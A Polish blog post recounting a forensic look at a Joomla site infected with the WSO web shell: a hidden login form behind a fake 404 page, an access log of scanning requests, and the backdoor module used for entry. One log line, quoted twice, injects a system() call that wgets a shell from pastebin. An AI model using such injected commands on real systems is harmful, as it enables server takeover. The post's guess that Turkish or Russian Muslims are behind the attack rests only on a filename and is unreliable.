WSO Shell: Jak została zainfekowana moja strona internetowa?

WSO Shell: Jak została zainfekowana moja strona internetowa?

Przedstawiam wam jedno z ulubionych narzędzi używanych przez hakerów. Jego prostota użytkowania sprawia, że każdy może stać się potencjalnym hakerem.

Wydaje się, że WSO Shell - bo o nim mowa - zachowuje dobrą równowagę między prostotą a możliwościami. To właśnie dzięki prostemu interfejsowi, stał się jedną z najpopularniejszych powłok internetowych. Jest tak świetny, że niektórzy administratorzy wykorzystują jego potencjał. A hakerzy w wielu przypadkach używają go po prostu do wykonywania złośliwego kodu PHP na stronach internetowych. Teoretycznie jest to coś, co haker mógłby łatwiej osiągnąć przy użyciu bardzo małej ilości kodu.

W społeczności hakerów wokół powłoki WSO wyrósł cały ekosystem. Zostały opracowane dodatkowe narzędzia, które wspierają jego wykonywanie i używanie. Na przykład istnieje narzędzie do tworzenia niestandardowej wersji powłoki z tylko żądanymi funkcjami.

WSO builder

Jest również narzędzie do zarządzania zainfekowanymi witrynami (wiele stron internetowych), które znacznie ułatwia koordynację ataków z wielu serwerów jednocześnie.

WSO multi shells

Powłoka WSO jest szeroko używana przez niezliczonych hakerów na całym świecie, a społeczność użytkowników, którzy preferują ją jako powłokę internetową, rośnie każdego dnia.

Na przykład, zostały wykonane badania na temat botnetu ChickenKiev, który wykorzystuje WSO w ramach swojej działalności i zostały opublikowane na stronach internetowych Wordfence, korporacji Defiant Inc. Bot ten wykorzystuje skradzione nazwy użytkownika i hasła WordPress do włamywania się, a następnie zarabia przez zainfekowany system WordPress.

Z systemu w którym jest zainstalowany backdoor, tzw. „tylne drzwi”, można wykraść wrażliwe dane jak np. faktury VAT w firmie prowadzonej w formie franczyzy. Bez nich nie jest w stanie opłacić kontrahentów i współpracowników. W takiej sytuacji haker może żądać wykonania opłaty w postaci kryptowaluty w celu ich przywrócenia.

Każda nowa iteracja ma na celu ułatwienie hakerom przejmowania serwerów i robienia z nich wszystkiego co zechcą. Nie można przecenić lenistwa hakerów w tym zakresie przez ustawienie domyślnego hasła na słowo „root”. Aby inni hakerzy przypadkiem nie zdobyli dostępu, jedna z pierwszych linii kodu powłoki WSO zmienia domyślne hasło do jej użycia.

Z życia wzięte

Zostałem poproszony o uruchomienie od jakiegoś czasu nie działającej strony internetowej. Na stronie głównej widniała standardowa wiadomość/błąd: Not Found. The requested URL was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

WSO page not found

Kiedy jednak zaznaczymy całą treść na stronie (Ctrl+A), pojawią się dość dziwnie zanzaczone elemnty w tym jeden w postaci krzyża/plusa.

WSO select all text

Pod nim na środku jest ukryty formularz.

WSO login form

Okazuję się, że jest to spreparowana strona ze standardowym komunikatem.

WSO login form source code

Formularz w najprostszej formie jaką się da aby wysłał żądanie POST. Wystarczy podać właściwe hasło i naszym oczom ukaże się powłoka WSO.

WSO dashboard

Jak się dostał na serwer?

Strona internetowa została wykonana w systemie Joomla i korzystała z różnych wtyczek. Wystarczyło prześledzić bazę danych, aby znaleźć informacje które nakierowały mnie na dziurę - „tylne drzwi”.

W tym przypadku była to dodatkowa biblioteka systemu Joomla. Prześledźmy żądania GET wywoływane przez url.

2020-01-03 00:10:35http://.../log/red-rtl.php
2020-01-03 00:55:33http://.../administrator/components/com_content/models/fields/blog_item-load.php
2020-01-03 01:35:37http://.../media/system/images/heartbeat-tar.php
2020-01-03 03:54:10http://.../media/media/node_type-atom.php
2020-01-03 04:20:23http://.../beck/cron.php
2020-01-03 05:14:44http://.../media/system/images/wheel-ui.php
2020-01-03 06:20:42http://.../plugins/content/apismtp/apismtp.php?test=hello
2020-01-03 15:32:05http://.../wp-includes/wlwmanifest.xml
2020-01-03 15:32:05http://.../xmlrpc.php?rsd
2020-01-03 15:32:06http://.../blog/wp-includes/wlwmanifest.xml
2020-01-03 15:32:08http://.../web/wp-includes/wlwmanifest.xml
2020-01-03 15:32:10http://.../wordpress/wp-includes/wlwmanifest.xml
2020-01-03 15:32:11http://.../website/wp-includes/wlwmanifest.xml
2020-01-03 15:32:12http://.../wp/wp-includes/wlwmanifest.xml
2020-01-03 15:32:13http://.../news/wp-includes/wlwmanifest.xml
2020-01-03 15:32:14http://.../2018/wp-includes/wlwmanifest.xml
2020-01-03 15:32:15http://.../2019/wp-includes/wlwmanifest.xml
2020-01-03 15:32:15http://.../shop/wp-includes/wlwmanifest.xml
2020-01-03 15:32:16http://.../wp1/wp-includes/wlwmanifest.xml
2020-01-03 15:32:17http://.../test/wp-includes/wlwmanifest.xml
2020-01-03 15:32:18http://.../media/wp-includes/wlwmanifest.xml
2020-01-03 15:32:19http://.../wp2/wp-includes/wlwmanifest.xml
2020-01-03 15:32:20http://.../site/wp-includes/wlwmanifest.xml
2020-01-03 15:32:21http://.../cms/wp-includes/wlwmanifest.xml
2020-01-03 15:32:22http://.../sito/wp-includes/wlwmanifest.xml
2020-01-03 19:39:16http://.../libraries/rokcommon/Doctrine/Record/Listener/sites-ui.php
2020-01-03 23:08:16http://.../templates/gantry/html/joomla/3.0/library-edit.php
2020-01-03 23:29:57http://.../js/lib/ccard.js
2020-01-03 23:29:58http://...//app/etc/local.xml
2020-01-03 23:41:25http://.../phpmyadmin/
2020-01-04 03:43:46http://.../images/READMES.php
2020-01-04 11:12:32http://.../modules/bamegamenu/ajax_phpcode.php?code=system(""wget -O ../../up.php pastebin.com/raw/CsS17dZX"");
2020-01-04 11:12:53http://.../up.php
2020-01-04 11:13:07http://.../modules/smartprestashopthemeadmin/ajax_smartprestashopthemeadmin.php
2020-01-04 11:13:29http://.../modules/jmsslider/ajax_jmsslider.php?action=addLayer&id_slide=attari&data_type=image
2020-01-04 11:13:38http://.../modules/jmsslider/views/img/layers/up.php
2020-01-04 11:13:45http://.../modules/groupcategory/GroupCategoryUploadImage.php
2020-01-04 11:13:50http://.../modules/verticalmegamenus/VerticalMegaMenusUploadImage.php
2020-01-04 11:13:56http://.../modules/verticalmegamenus/images/temps/up.php
2020-01-04 20:51:06http://.../modx.php
2020-01-05 09:40:36http://.../htaccess.php
2020-01-05 09:40:56http://.../wp-content/themes/shobusha/image/icon_menu.gif
2020-01-05 09:46:30http://.../wp-content/themes/shobusha/image/icon_menu.gif
2020-01-05 16:20:23http://.../plugins/content/apismtp/josmtpapi.php?test=hello
2020-01-05 20:19:33http://.../meniacle/wp-blog-header.php
2020-01-05 22:20:36http://.../media/media/integer.min.php
2020-01-06 22:26:19http://...//libraries/home
2020-01-07 05:33:13http://.../wp-login.php
2020-01-07 18:06:43http://.../favicon.png
2020-01-07 19:31:21http://.../__media__/js/netsoltrademark.php
2020-01-07 21:07:12http://.../readme.php
2020-01-08 04:49:04http://.../plugins/content/apismtp/apismtp.php?test=hello

Backdoor okazał się w pliku /modules/bamegamenu/ajax_phpcode.php i to za pośrednictwem jego został wgrany inny zainfekowany plik ze strony internetowej pastebin.com.

http://.../modules/bamegamenu/ajax_phpcode.php?code=system(""wget -O ../../up.php pastebin.com/raw/CsS17dZX"");

Po próbie znalezienia zainfekowanego pliku okazało się, że już go tam nie ma. Znalazłem wiele innych zainfekowanych plików ze źródłem WSO. Jednak jeden dziwnie prezentujący się plik zawierał ciąg znaków i był wykonywany przez funkcję eval(). Po rozkodowaniu go, okazało się że to jest również powłoka WSO.

WSO source code

Już na samym początku skrypt za każdym razem wysyła e-mail na wskazany adres w celu poinformowania, gdzie został zainfekowany kod. W tym przypadku jest to wersja 2.6 najnowsza z zaobserwowanych.

Kto stoi za atakiem?

Wszystkie znaki kierują do hakerów tureckich lub rosyjskich muzułmanów. A domyślam się po nazwie pliku, który stworzył haker w dniu 12 maja 2020 r. Jest to ostatni plik w katalogu ./libraries o nazwie respectMuslim.php.

WSO libraries infected

Jak i po wylistowaniu 2 tyś. rekordów z bazy danych używanych do spamowania. Widnieją w niej głównie adresy serwisów rosyjskich jaki i głównych portali mejlowych tj. Gmail, czy Yahoo. Kolejny szczegół na który warto zwrócić uwagę to numer identyfikacyjny kolejnych rekordów. Hakerzy pozostawili pierwsze dwa, który dotyczą nieświadomego administratora systemu Joomla, a kolejne zaczynają się już od ponad 700 tysięcznego rekordu. Oznaczać to może, że już tyle adresów e-mail było wpisanych do bazy. Także po rozesłaniu takiej ilości spamu, adres IP jak i domena z której była wykonywana wysyłka zostały zbanowane, a serwer nie nadawał się już dla hakerów.

WSO mysql emails

Ich rozpoznawalny styl przedstawiam na poniższym zrzucie ekranu jaki na koniec pozostawili po sobie.

WSO site hacked

Podsumowanie

Rozwiązanie problemu jakim było poznanie przyczyny niedziałającej strony internetowej zajęło mi kilka godzin. Nie spodziewałem się takiego rozwoju zdarzeń i odkryć. Dzięki temu, że znajomy poprosił mnie o interwencję, uświadomiło mnie jak blisko nas są złodzieje. Jeśli potrzebujesz pomocy w zrozumieniu, co się stało z twoją stroną internetową i jak zapobiec włamaniu w przyszłości lub twoja domena/IP potrzebuje usunięcia z czarnych list skontaktuj się ze mną.

zuku